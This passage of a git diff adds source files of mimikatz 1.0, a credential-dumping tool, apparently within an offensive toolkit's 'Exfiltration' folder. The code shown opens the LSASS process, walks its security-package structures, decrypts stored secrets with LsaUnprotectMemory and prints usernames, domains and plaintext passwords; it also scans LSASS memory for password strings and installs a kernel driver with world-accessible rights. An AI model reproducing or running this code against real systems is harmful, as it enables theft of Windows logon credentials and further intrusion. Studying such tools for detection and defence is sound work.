monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"numre les sessions courantes du provider TsPkg")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"numre les sessions courantes du provider LiveSSP")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"numre les sessions courantes du provider SSP (msv1_0)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"numre les sessions courantes des providers disponibles")); + + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mmoire de LSASS des mots de passes")); + return monVector; +} + +bool mod_mimikatz_sekurlsa::getLogonPasswords(vector<wstring> * arguments) +{ + if(searchLSASSDatas()) + getLogonData(arguments, &GLOB_ALL_Providers); + else + (*outputStream) << L"Donnes LSASS en erreur" << endl; + return true; +} + +bool mod_mimikatz_sekurlsa::loadLsaSrv() +{ + if(!hLsaSrv) + hLsaSrv = LoadLibrary(L"lsasrv"); + + if(mesModules.empty()) + { + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV)); + if(mod_system::GLOB_Version.dwBuildNumber >= 8000) + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP)); + } + return (hLsaSrv != NULL); +} + +bool mod_mimikatz_sekurlsa::unloadLsaSrv() +{ + for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) + if(*testModule->pModuleEntry) + delete *testModule->pModuleEntry; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData(); + else + mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData(); + + if(hLSASS) + CloseHandle(hLSASS); + if(hLsaSrv) + FreeLibrary(hLsaSrv); + + return true; +} + +bool mod_mimikatz_sekurlsa::searchLSASSDatas() +{ + if(!lsassOK) + { + if(!hLSASS) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring processName = L"lsass.exe"; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID)) + { + vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY> monVecteurModules; + if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS)) + { + for(vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY>::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++) + { + for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) + { + if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry)) + { + GLOB_ALL_Providers.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/)); + *testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule); + break; + } + } + } + } else { + (*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl; + CloseHandle(hLSASS); + hLSASS = NULL; + } + } else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; + } else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl; + } + + if(hLSASS) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO))) + { + localLSASRV.modBaseAddr = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + localLSASRV.modBaseSize = mesInfos.SizeOfImage; + + if(!SeckPkgFunctionTable) + { + struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")}; + if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) + mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); + } + + lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData(); + } + } + } + return lsassOK; +} + +PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind) +{ + PLIST_ENTRY resultat = NULL; + BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; + PLIST_ENTRY pStruct = NULL; + if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS)) + { + while(pStruct != pSecurityStruct) + { + if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) + { + if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset))) + { + resultat = pStruct; + break; + } + } else break; + pStruct = reinterpret_cast<PLIST_ENTRY>(monBuffer)->Flink; + } + } + delete [] monBuffer; + return resultat; +} + +PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) +{ + PVOID resultat = NULL; + RTL_AVL_TABLE maTable; + if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); + return resultat; +} + +PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) +{ + PVOID resultat = NULL; + RTL_AVL_TABLE maTable; + if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) + { + if(maTable.OrderedPointer) + { + BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; + if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) + { + if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset))) + resultat = maTable.OrderedPointer; + } + delete [] monBuffer; + } + + if(!resultat && maTable.BalancedRoot.LeftChild) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind); + if(!resultat && maTable.BalancedRoot.RightChild) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); + } + return resultat; +} + +void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos) +{ + if(mesCreds) + { + if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer) + { + wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS); + wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS); + wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory); + wstring rUserName = (isDomainFirst ? domainName : userName); + wstring rDomainName = (isDomainFirst ? userName : domainName); + + if(justSecurity) + { + if(!pos) + (*outputStream) << password; + else + (*outputStream) << endl << + L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }"; + } + else + { + if(!pos) + (*outputStream) << endl << + L"\t * Utilisateur : " << rUserName << endl << + L"\t * Domaine : " << rDomainName << endl << + L"\t * Mot de passe : " << password; + else + (*outputStream) << endl << + L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl << + L"\t Domaine : " << rDomainName << endl << + L"\t Mot de passe : " << password; + } + } + } else (*outputStream) << L"n.t. (LUID KO)"; +} + +bool mod_mimikatz_sekurlsa::getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders) +{ + PLUID sessions; + ULONG count; + + if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) + { + for (ULONG i = 0; i < count ; i++) + { + PSECURITY_LOGON_SESSION_DATA sessionData = NULL; + if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) + { + if(sessionData->LogonType != Network) + { + (*outputStream) << endl << + L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << + L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << + L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << + L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; + + for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) + { + (*outputStream) << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t'; + monProvider->first(&sessions[i], mesArguments->empty()); + (*outputStream) << endl; + } + } + LsaFreeReturnBuffer(sessionData); + } + else (*outputStream) << L"Erreur : Impossible d\'obtenir les donnes de session" << endl; + } + LsaFreeReturnBuffer(sessions); + } + else (*outputStream) << L"Erreur : Impossible d\'numerer les sessions courantes" << endl; + + return true; +} + +bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer) +{ + bool resultat = false; + BYTE * monBuffer = NULL; + PBYTE * leBuffer = buffer ? buffer : &monBuffer; + if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS)) + { + int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS; + if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0)) + { + if(dstChaine) + dstChaine->assign(reinterpret_cast<const wchar_t *>(*leBuffer), maChaine->Length / sizeof(wchar_t)); + } + } + if(monBuffer) + delete[] monBuffer; + return resultat; +} + +bool mod_mimikatz_sekurlsa::searchPasswords(vector<wstring> * arguments) +{ + if(searchLSASSDatas()) + { + if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) + { +#ifdef _M_X64 + PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0xffff080000000000); +#elif defined _M_IX86 + PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0x80000000); +#endif + ULONG maTaille = 0; + NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille); + + DWORD nbPossible = 0; + for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; ) + { + MEMORY_BASIC_INFORMATION mesInfos; + if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0) + { + if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE)) + { + UNICODE_STRING donnees[3]; + for(PBYTE pZone = reinterpret_cast<PBYTE>(mesInfos.BaseAddress); pZone < (reinterpret_cast<PBYTE>(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD)) + { + if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS)) + { + if( + (donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) && + (donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) && + (donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer) + ) + { + wstring user, domain, password; + BYTE * bPassword = NULL; + if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword)) + { + if(bPassword) + { + mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength); + password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false)); + } + (*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl; + } + + if(bPassword) + delete[] bPassword; + } + } + } + } + pMemoire += mesInfos.RegionSize; + } + else break; + } + } + } + else (*outputStream) << L"Donnes LSASS en erreur" << endl; + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h new file mode 100644 index 0000000..aa05d58 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h @@ -0,0 +1,64 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_memory.h" +#include "mod_process.h" +#include "mod_text.h" +#include "mod_system.h" +#include <iostream> +#include "secpkg.h" + +#include "LSA Keys/keys_nt5.h" +#include "LSA Keys/keys_nt6.h" + +#include "Security Packages/msv1_0.h" +#include "Security Packages/tspkg.h" +#include "Security Packages/wdigest.h" +#include "Security Packages/kerberos.h" +#include "Security Packages/livessp.h" +#include "Security Packages/ssp.h" + +class mod_mimikatz_sekurlsa +{ +public: + typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity); +private: + typedef struct _KIWI_MODULE_PKG_LSA { + wchar_t * moduleName; + wchar_t * simpleName; + PFN_ENUM_BY_LUID enumFunc; + mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry; + _KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {} + } KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA; + + static bool lsassOK; + static vector<pair<PFN_ENUM_BY_LUID, wstring>> GLOB_ALL_Providers; + static vector<KIWI_MODULE_PKG_LSA> mesModules; + + static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); + static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL); + + static bool getLogonPasswords(vector<wstring> * arguments); + static bool searchPasswords(vector<wstring> * arguments); +public: + static HANDLE hLSASS; + static HMODULE hLsaSrv; + static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV; + static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; + + static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind); + static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); + + static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL); + static bool getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders); + + static bool loadLsaSrv(); + static bool unloadLsaSrv(); + static bool searchLSASSDatas(); + + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp new file mode 100644 index 0000000..31fb6b5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp @@ -0,0 +1,191 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_service.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_service::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les services et pilotes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Dmarre un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrte un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Supprime un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mimikatz, L"mimikatz", L"Installe et/ou dmarre le pilote mimikatz")); + return monVector; +} + +bool mod_mimikatz_service::start(vector<wstring> * arguments) +{ + (*outputStream) << L"Dmarrage de \'"; + return genericFunction(mod_service::start, arguments); +} + +bool mod_mimikatz_service::stop(vector<wstring> * arguments) +{ + (*outputStream) << L"Arrt de \'"; + return genericFunction(mod_service::stop, arguments); +} + +bool mod_mimikatz_service::remove(vector<wstring> * arguments) +{ + (*outputStream) << L"Suppression de \'"; + return genericFunction(mod_service::remove, arguments); +} + +bool mod_mimikatz_service::genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments) +{ + if(!arguments->empty()) + { + (*outputStream) << arguments->front() << L"\' : "; + if(function(&arguments->front(), NULL)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"(null)\' - KO ; Nom de service manquant" << endl; + + return true; +} + + +bool mod_mimikatz_service::list(vector<wstring> * arguments) +{ + bool services_fs_drivers = true; + bool services = false; + bool fs = false; + bool drivers = false; + + bool allstate = true; + bool running = false; + bool stopped = false; + + vector<mod_service::KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>(); + if(mod_service::getList(vectorServices, (arguments->empty() ? NULL : &arguments->front()))) + { + for(vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>::iterator monService = vectorServices->begin(); monService != vectorServices->end(); monService++) + { + if( + ( + (services && (monService->ServiceStatusProcess.dwServiceType & (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS))) || + (fs && (monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)) || + (drivers && (monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)) || + (services_fs_drivers) + ) + && + ( + (running && monService->ServiceStatusProcess.dwCurrentState == SERVICE_RUNNING) || + (stopped && monService->ServiceStatusProcess.dwCurrentState == SERVICE_STOPPED) || + (allstate) + ) + ) + { + if(monService->ServiceStatusProcess.dwProcessId != 0) + (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monService->ServiceStatusProcess.dwProcessId; + (*outputStream) << L'\t'; + + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS) + (*outputStream) << L"INTERACTIVE_PROCESS" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER) + (*outputStream) << L"FILE_SYSTEM_DRIVER" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER) + (*outputStream) << L"KERNEL_DRIVER" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_OWN_PROCESS) + (*outputStream) << L"WIN32_OWN_PROCESS" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_SHARE_PROCESS) + (*outputStream) << L"WIN32_SHARE_PROCESS" << L'\t'; + + switch(monService->ServiceStatusProcess.dwCurrentState) + { + case SERVICE_CONTINUE_PENDING: + (*outputStream) << L"CONTINUE_PENDING"; + break; + case SERVICE_PAUSE_PENDING: + (*outputStream) << L"PAUSE_PENDING"; + break; + case SERVICE_PAUSED: + (*outputStream) << L"PAUSED"; + break; + case SERVICE_RUNNING: + (*outputStream) << L"RUNNING"; + break; + case SERVICE_START_PENDING: + (*outputStream) << L"START_PENDING"; + break; + case SERVICE_STOP_PENDING: + (*outputStream) << L"STOP_PENDING"; + break; + case SERVICE_STOPPED: + (*outputStream) << L"STOPPED"; + break; + } + + (*outputStream) << L'\t' << + monService->serviceName << L'\t' << + monService->serviceDisplayName << + endl; + } + } + } + else + (*outputStream) << L"mod_service::getList ; " << mod_system::getWinError() << endl; + + delete vectorServices; + return true; +} + +bool mod_mimikatz_service::mimikatz(vector<wstring> * arguments) +{ + if(SC_HANDLE monManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) + { + SC_HANDLE monService = NULL; + if(!(monService = OpenService(monManager, L"mimikatz", SERVICE_START))) + { + if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) + { + (*outputStream) << L"[*] Pilote mimikatz non prsent, installation." << endl; + + wstring monPilote = L"mimikatz.sys"; + wstring monPiloteComplet = L""; + if(mod_system::getAbsolutePathOf(monPilote, &monPiloteComplet)) + { + bool fileExist = false; + if(mod_system::isFileExist(monPiloteComplet, &fileExist) && fileExist) + { + if(monService = CreateService(monManager, L"mimikatz", L"mimikatz driver", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, monPiloteComplet.c_str(), NULL, NULL, NULL, NULL, NULL)) + { + (*outputStream) << L"[+] Cration du pilote : OK" << endl; + if(mod_secacl::addWorldToMimikatz(&monService)) + (*outputStream) << L"[+] Attribution des droits : OK"; + else + (*outputStream) << L"[-] Attribution des droits : KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"[!] Impossible de crer le pilote ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Le pilote ne semble pas exister ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Impossible d\'obtenir le chemin absolu du pilote ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Ouverture du pilote mimikatz : KO ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[*] Pilote mimikatz dj prsent" << endl; + + if(monService) + { + if(StartService(monService, 0, NULL) != 0) + (*outputStream) << L"[+] Dmarrage du pilote : OK"; + else + (*outputStream) << L"[-] Dmarrage du pilote : KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + CloseServiceHandle(monService); + } + + CloseServiceHandle(monManager); + } + else (*outputStream) << L"[!] Impossible d\'ouvrir le gestionnaire de service pour cration ; " << mod_system::getWinError() << endl; + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h new file mode 100644 index 0000000..368066f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_service.h" +#include <iostream> + +class mod_mimikatz_service +{ +private: + typedef bool (* PMOD_SERVICE_FUNC) (wstring * serviceName, wstring * machineName); + static bool genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments); +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + + static bool start(vector<wstring> * arguments); + static bool suspend(vector<wstring> * arguments); + static bool resume(vector<wstring> * arguments); + static bool stop(vector<wstring> * arguments); + + static bool query(vector<wstring> * arguments); + + static bool add(vector<wstring> * arguments); + static bool remove(vector<wstring> * arguments); + static bool control(vector<wstring> * arguments); + + static bool mimikatz(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp new file mode 100644 index 0000000..e785e0d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp @@ -0,0 +1,77 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_standard.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_standard::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(clearScreen, L"cls", L"Efface l\'cran (ne fonctionne pas en xecution distante, via PsExec par exemple)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exit, L"exit", L"Quitte MimiKatz")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reponse, L"reponse", L"Calcule la rponse la Grande Question sur la Vie, l\'Univers et le Reste")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cite, L"cite", L"Trouve une citation")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(version, L"version", L"Retourne la version de mimikatz")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sleep, L"sleep", L"Mets en pause mimikatz un certains nombre de millisecondes")); + //monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(test, L"test", L"Routine de test (ne devrait plus tre l en release...")); + return monVector; +} + +/*bool mod_mimikatz_standard::test(vector<wstring> * arguments) +{ + return true; +}*/ + +bool mod_mimikatz_standard::version(vector<wstring> * arguments) +{ + (*outputStream) << MIMIKATZ_FULL << L" (" << __DATE__ << L' ' << __TIME__ << L')' << endl; + return true; +} + +bool mod_mimikatz_standard::clearScreen(vector<wstring> * arguments) +{ + HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); + COORD coord = {0, 0}; + DWORD count; + + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hStdOut, &csbi); + + FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count); + SetConsoleCursorPosition(hStdOut, coord); + + return true; +} + +bool mod_mimikatz_standard::exit(vector<wstring> * arguments) +{ + return false; +} + +bool mod_mimikatz_standard::reponse(vector<wstring> * arguments) +{ + (*outputStream) << L"La rponse est 42." << endl; + return true; +} + +bool mod_mimikatz_standard::cite(vector<wstring> * arguments) +{ + (*outputStream) << L"I edit the world in HEX" << endl; + return true; +} + +bool mod_mimikatz_standard::sleep(vector<wstring> * arguments) +{ + DWORD dwMilliseconds = 1000; + if(!arguments->empty()) + { + wstringstream z; + z << arguments->front(); z >> dwMilliseconds; + } + (*outputStream) << L"Sleep : " << dwMilliseconds << L" ms... " << flush; + 